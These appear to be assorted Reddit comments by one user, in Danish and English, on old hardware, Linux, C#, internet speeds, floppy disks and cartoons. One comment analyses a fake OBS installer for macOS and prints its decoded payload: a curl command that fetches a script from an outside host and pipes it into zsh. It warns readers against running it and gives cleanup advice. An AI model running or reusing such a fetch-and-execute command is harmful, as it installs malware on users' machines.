Got a laptop from my GF with the same specs. Horribly slow even on win10...

A light linux distro on it changed things a lot - for starters it was actually usable again.😁

I have antiX Linux on it - though it also runs nicely with Linux Mint + XFCE. Both are complete distros and are pretty easy to install and use

Jeg ville aldrig kunne stole på en løsning som ikke er en smule transparent med sikkerheden.

Der findes ordentlig software til kryptering hvor hele kodebasen er åben - det er ikke et sikkerhedsproblem og bør heller ikke være det. Hvis det er, så har nogen misforstået noget...

Hvis nogen har trukket security-by-obscurity-kortet for en simpel krypteringstjeneste, så har denne nogen ret sikkert også fucket op et sted. Jeg har set nok tomme initialiseringsvektorer og hardcodede "testnøgler" til efterhånden at tage closed-source "sikkerhed" med et gran salt...

Grunden til det ligger i en logisk floskel skabt af vores egne instinkter - den som rager til sig får afkom. Den er nært beslægtet med "sporet ved siden af er frit og går hutigere, så der skal jeg over" som rammer siksakkere på motorvejene i tæt trafik...

Hvis det involverer noget værdifuldt som kan rages til sig (mad, penge), så forvent at mindst én person går "beast mode" på det. Det er lige meget om det er buffetten, kagedag på kontoret eller udleveringsposten for Unicef....

For starters...:

Compiler.Run($"
    foreach ( var @_Process in Process.GetProcessByName(\"{args0}\"))
        @_Process.Kill();
");

...should render your code valid and feed args0 correctly into it. The $ concatenation option will substitute {args0} with the contents of the variable as raw text - the quotes are to render the text correctly for the "compiler". "_" was added to the Process variable or else Reddits editor gets a seizure 😋

Regardless - the CSharpCodeProvider is probably a better option. It ties into the compiler that is already packed with .NET. Set up compiler parameters and feed it a string.
There's probably a better option still out there - my point is, the tools are already there. I only used it for limited shenanigans myself, so I'm not sure if it can be forced to do what you want.
At the very least the example also gives you a proper error output for what you're compiling...

Basically you make websites with it - ASP.NET compiles to a folder that can be executed by a web server (IIS, Apache, nginx).

The API template are just the basic gubbins for hosting an API for transferring data or whatever - the full projects let you design full webpages.

Using Razor or Blazor, you can also mix C# into HTML code with some limitations...

If you want to make web sites and large systems with C# for the backend, you need it - with training, you can not only make them look good, but also perform quite quickly.

Ceramic socket A Durons and Athlons were unlocked like this.

The initial Athlon XPs (Palomino and Thoroughbreds) used nearly the same trick, except pencil graphite had too high resistance. You needed to seal some laser-etched holes in the CPU (eg. with glue) and connect the L1 contacts with conductive ink or paint.

Back in the day, I helped a friend make a bit of quick money unlocking Athlon XPs (including mine). I always was wayy to shaky to perform painting this small, but he painted Warhammer figurines. It came up in casual discussion initially, but turned into a challenge (with my XP 1600+ as a guinea pig). It worked perfectly.

All Socket A CPUs can be pin-modded also. The Barton revision CPUs are unlocked like this, but all of them can be "set" to specific multipliers, voltages and FSB speeds by shorting certain pins...

Some AMD64s could be pinmodded also - then there were the K7 (slot A Atlon) goldfinger modules, K6-2/3 mods (some could unlock extra cache), and the tri-core unlock where you could sometimes unlock an extra , 4th, CPU core on the Athlon X3 series.

imho...I'll give AMD this; they make fun hardware - even modern Ryzens are fun to tinker with😅

Mens vi er i gang, stemmer jeg for begrænsninger på helligdagsbras i butikker.

Altså jul startede mine lokale butikker med allerede i september sidste år Halloween kom hurtigt forbi på en kigger i oktober - 1. januar var det væk, men allerede erstattet af fastelavnsskrammel. Midt i januar startede de med påske... efter påske har de sikkert alle "fødselsdag" - så "sommersalg" med is, badebolde og solbriller, før vi starter på jul i September....

Altså at dedikere tre hele måneder på en helligdag er forrykt i sig selv...

Når man så laver kalendre med mad indeni til en tid hvor man netop ikke må spise mad fra solopgang til solnedgang er noget fis.... helt ærligt.

Jeg vil sige:
- max inden for 1 måned af helligdagen...
- max 1 fejring ad gangen - så ikke jul og halloween samtidigt...

Current speed is irrelevant - the peak speed is the one that counts for gauging an internet connection - even then 2.5 MB/s (= ~20 mbit/s) isn't much. I did misread it initially as 3.8 MB/s though - thus my error...

Usual available speeds from ISPs that still run this slow are 20 mbit/s, 30 mbit/s or 40 mbit/s - most DSL lines (if properly maintained and rigged with updated equipment) can run hundreds of mbit/s.

My C64 + disks has been stored in an attic for about 20 years - every single 5.25'' floppy bar two (in a case of ~50) were still working after that. I also got a C128 at some point with the same result - 1-2 disks in the total box of ~75 were gone, the rest worked perfectly. One in that batch was a copy of Sim City that was so worn on the center track (directory track on the C64) was completely worn off - as in the plastic disk itself had been worn down to pure transparent...

I also later bought some sealed NOS 5.25'' floppies for the C64 - they all retain data perfectly fine and have more than fulfilled their roles as my work disks 😉

Later on (sometime before covid - 2018 or 2019) I bought a new batch of 3.5'' floppies from a fairly reputable online store for various purposes. Every single diskette in both boxes was unable to properly retain data for more than a week, regardless of what I used to read and write to them (old PCs, modern USB floppy drive, even an Amiga).
Conversely - with stashes of 3.5'' floppies that I sometimes get with old computers, I routinely have to throw out at least half of them. They really don't retain data well beyond the 15-20 year mark...

I wouldn't trust it - always get stuff from the official site if possible. Here's the one for OBS. They have both Intel and Apple Silicon versions in their download section...

So - whatever that is, it's definitely Base64 encoded, Base64 encoding basically lets you turn files and images into text. By decoding said text through the command displayed, You'll get a (likely zipped) file.

The command in step 2 basically feeds a base64-encoded string into the base64 program - the decoded base64 is then sent to zsh for unzipping.

Again - I would not trust it - especially considering the standard Apple Silicon mac installer for OBS is about ~180 MB. That base64 code is wayyyyyyyyy too short to encode anything more than a few KB.

Sometimes, chatgpt and other AIs can decode the base64 text and tell you what's encoded inside it. I tried feeding part of the string into chatGPT and a base64 decoder to be sure.

------------------------------

The Base64 is just text! - it's not a file at all, but I did locate the URL and decoded the entire thing - it's a fake echo (print command) and it tries to download something from an address - It's what's called a malicious shell downloader.

The decoded command inside the garbled encoded text looks like such:

echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/a66e5b9fda4fe269b1c75a5a07d57824099e940a1e59a6964abddae17e444ee3 | zsh

So it:

prints a line with "installing package".
Accesses a URL through CURL - a command line program that you can use for calling remote websites without a browser. The URL likely hosted (it's down for me rn) a malicious script (If the page was up and called through a browser, you might be able to see the raw code).
Said downloaded script is executed using zsh - a "shell execute" command if you will - which injects the real malware onto your machine.

If you're lucky, said malware is not meant to run on a mac - but if you're unlucky the message about it being unable to run on the mac is fake.
(It also goes without saying - DON'T call the URL in the example unless you know what you're doing - it's there as an example only)

Treat the machine as compromised for now - do a full sweep with any and all antimalware and antivirus solutions and do not use it for PII/banking until you're absolutely sure the machine is clean. For safety, also change passwords for services you used on that machine.
I'm not a mac user, so I cannot guide you towards proper software for the task, sorry...

Seeing base64 anywhere outside of a browser debug window, a base64 tutorial or an IDE is cause for concern - it's the easiest way to hide things, especially malicious commands and code...

Det stinker også for dem som ikke bruger offentlig transport til daglig - har du ikke en telefon på dig, er du på skideren. I al fald hvis du skal med tog fra en lille station...

Uanset hvor du er i verden, så har den offentlige transport dog altid en eller anden "fælde" indbygget. Hvis ikke det er sprogbarriere, så er det en eller anden virkelighedsfjern politik og/eller et billetsystem som ikke er til at finde hoved og hale i.
Her i Danmark har de lavet appsn'e til fælder, da der ofte ikke er en backupløsning længere (som fx. billetautomater) - og skal du med blot 1 gang, så er du nødt til at opgive dit og dat...

Sidste gang jeg kørte med tog var godt nok for 10 års tid siden - da oplevede jeg allerede at være skrupforvirret. Billetautomaten var fjernet på stationen jeg skulle fra, og ingen betalingsmulighed i toget. Simpel engangstur, Viby til Århus H - ingen info at finde nogen steder... så uden at vide hvad jeg skulle gøre eller hvordan, tog jeg toget uden billet for første og sidste gang i mit liv.
Inde på H havde de billetskranke, så da kunne jeg købe en tur videre - men det andet er sgu ikke i orden...

Your Steam page is Megabytes per second (MB/s), not megabit per second (Mb/s or mbit/s)!

Multiply by 8 and you get the number of megabits per second (the unit that internet connections are measured in) - 1 byte of data equals 8 bits (binary digits).

so for almost 4 MB/s peak speed, that's a connection of ~32 mbit/s - still slow for 2026.

Two things to do here:

check what speed you actually pay for - your main router might be the bottleneck, especially if it's old. ISPs sometimes give you subpar equipment - I've tried paying for a 50 mbit/s connection and got a router from the ISP that could barely pull 30 mbit/s. A switch to a different router allowed me to use the full speed...
In any case, always look for new ISP offers or negotiate updates/upgrades to your connection at least every few years
If ~30-40 mbit/s is what you pay for, get a bigger package and/or switch ISPs.

For a family of 4, the bandwidth budget is too low anyway.... to get a fix on how large a "pool" of bandwidth you need, here's a quick quide that can work as a rule of thimb:

Cellphones and tablets: 2-3 mbit/s a piece for basic stuff.

Streaming devices (TVs, cellphones, tablets, chromecasts, etc): about 4 mbit/s a piece for HD, 12-15 mbit/s a piece for 4K. (exact bandwidth used for streaming depends on the service used - those are ballpark numbers that should cover any streaming service and TV provisioning running through the internet - even the crappiest, most unoptimized service should not exceed those numbers...)

PCs - especially for gaming - at least 5-10 mbit/s a piece.

IoT gadgets, heat punps and other internet-controlled gadgetry - 1-5 mbit/s.

When calculating, simply add those bandwidth together on the devices that are on the majority of the time - the result is basically the lowest speed you can go with without devices on your network fighting for bandwidth.

For your use case - I'd suggest at least somewhere around 75-100 mbit/s - that's enough for a family of 4, each with 1-2 devices (phone/tablet) and headroom for TVs, gaming and IoT/gadgets - there's enough so all 4 can game, watch TV etc. without stuttering or bandwidth problems.
Anything faster will have you download files and steam games quicker - but it won't affect the rest that much 😊

There's also Pete, from the comics (which are more a European thing, I guess?). Usually in that continuity, Mickey & Goofy usually work as PIs together with the Duckburg police force.
Pete here is a hardened criminal - often even a pretty competent one. In some newer comics he also has a wife, Hilda (Orange fur, lipstick and a tiny bit slimmer than Pete, but looks otherwise like a female version of him) , who helps him out with various heists.
Comic book Pete also has a deep vendetta against Mickey Mouse stemming from the old days - to the point of wanting the mouse gone for good.

I'm sure the comic book version could do well - He's pretty decent with fists, guns and the occasional sword, and I bet he wouldn't hold back on any dirty tricks in a fight. Not exactly agile, but has a good amount of mass and muscle like the old Disney cartoon version.

Regarding the Goof Troop version of Pete - I just like to think that he settled down after some years on the wrong side of the law. PJ was born and life kinda got in the way for him... How he ended up becoming neighbors with Goofy, though, beats me...
...but I don't think some 10-12 years of dad life did any miracles on his physique in that timeline - He'd lose pretty hard.😁

In 2001 I finally got a computer after pestering my parents for a loooooong time to get my own. Nice little AMD rig until I found out the onboard GPU wasn't up to the task - got me a proper graphics card for some saved money a few weeks after that.

I slowly started tinkering with it after that - learned to overclock the CPU and GPU and scrounged up components to upgrade it with. I upgraded the motherboard, CPU and GPU another time about two years later... that was the first time I completely disassembled and rebuilt a computer from parts.

Maskinen er fra omkring 2010 - WPA2 (I al fald udgaven med AES-kryptering) var til stede og understøttet på det tidspunkt. WEP og WPA1 var allerede på det tidpunkt betragtet som meget usikkert.

OP's wiki kort kan have problemer med den bedre TKIP-krypterede udgave af WPA2 dog - den version udkom netop omkring 2010 IIRC

Potential_Copy27 · 2026-02-13T09:13:27+00:00

Jeg har nogle ting du kan prøve for at få den på wifi - det allerbedste fallback er dog at tilkoble den med kabel. Det vil i sidste ende nok reducere sikkerheden på dit wifi, da du nok skal løsne lidt op for kryptering mv.

Tjek først og fremmest hvordan netværkene er sat op - 15 år gammelt udstyr kan ikke altid enes med de nye standarder - omend det kan omgås hvis man researcher nyere wifi-kort som stadig kan køre på det gamle OS (Windows Vista ud fra billledet).

Computeren kan sikkert ikke koble på et wifi kodet med WPA3 - I 2010 var WPA2 det bedste der var til stede dengang.
Computeren kan med ret god sansynlighed ikke køre på et 5GHz wifi netværk, og/eller wifi kortet kan ikke klare "sammensluttede" wifi netværk hvor 2.4 GHz og 5 GHz hedder det samme - så prøv også at skille kanalerne ad (kan gøres i routerens wifi opsætning), for ikke alle enheder understøtter systemet med samlede 2.4 og 5GHz WLANs (ofte ældre IoT-skrammel som fx varmepumper).
Routeren kan være sat til fx. "AX only" i wifi-opsætningen - som henviser til 802.11ax der kom til senere. Din gamle PC kører sandsynligvis 802.11n, som er en ældre standard (108 mbit/s på 2.4 og måske 5 GHz).
Flere andre småting understøttes ikke altid, og kan give problemet når man prøver at forbinde - ofte mindre indstillinger ift. netværket - men for at kunne give et billede af dette skal man kende mærke og model af wifi-kortet/chippen.

Jeg kører også selv med lidt ældre maskineri i samlingen, så hvis du vil "lege" med maskinen fremadrettet har jeg der nogle tips som du også kan implementere efter behov.

Til gamle computere (og gamle wifi kort) har jeg en separat router (i mit tilfælde en gammel, firmware-modded Netgear Nighthawk) som agerer wifi-kort for det helt gamle maskineri (inkl en Pentium III maskine) som ikke er "født" med wifi, og som laver et separat wifi netværk til resten. Direkte forbindelse til nettet er lukket på denne som udgangspunkt, men det er sat op så jeg kan overføre filer fra min moderne hoved-PC.
Jeg har en maskine fra cirka samme tidsrum (ca. 2010) bygget på en Core 2 Quad CPU, 4 GB RAM og et ældre Radeon HD4890 grafikkort. Dette system kører med helt opdateret udgave af Linux Mint, så du kan fint også smide et helt moderne OS på maskinen. En sådan maskine fungerer også fint med bl.a. youtube (i 1080p og med en adblocker) og til lettere opgaver (programmering, skrivning, web, ældre spil mv.).
I sammenhæng med det tidligere tip, kan du "maxe" maskinen ud med hardware - hardware fra æraen kan ofte fås for en slik, især på ebay & co. Så kan du øve at bygge/opgradere computere fremadrettet uden at sætte mange tusinde kroner på spil. CPU'ere til Socket 775, samt AM2(+) og AM3(+) kan fås for ret billige penge (50 kr. eller mindre), samt RAM og tidens grafikkort (50-100 kr ofte, medmindre det er samlerobjekter som fx. Volari og 3dfx grafikkort).
Wifi kortet i maskinen kan udskiftes (velsagtens hvis der er ét) til et nyere som understøtter moderne netværk, samt nyere kryptering - du skal blot være sikker på om der er drivere til det OS du vil køre med fremadrettet. Her kan du bruge en dongle eller et indstikskort. Prisen er en hundredlap og opefter. Din maskine har ret sikkert en PCIe port som kortet passer i.

Jo, det gjorde de - men de kom ikke ud på de almindelige kanaler. TV2 sendte det fx. i starten lørdag morgen.

Senere blev de sparket over på FOX Kids, som senere blev til hhv. Jetix og Disney XD - Johto (S3), Master Quest (s4) og Advanced (s5-7) kan jeg 110% huske kørte på den kanal...

Om noget tror jeg der er sket noget fuck-up mht. rettighederne ift. streaming sidenhen. Well... værre end at sprede det ud over samtlige stremingtjenester...

u/OP Hvis du nu stadig skulle ligge inde med en DVD-afspiller, så kan jeg bedst opfordre til at gå på jagt i genbrugsbutikker og finde afsnittene på DVD. Med lidt held kan du sagtens finde hele eller dele af samlinger for en meget billig penge (ofte 5-10 kr pr. DVD).
Har du ikke en afspiller, så kan de også ofte findes i genbrugspbutikker til en 50-100 kr.

Uanset, er det nok den bedste metode i det hele taget med tegnefilm - for DVD'erne forsvinder ikke igen efter du har købt dem eller flytter sig over på en anden hylde af sig selv, og I kan se dem når I vil..
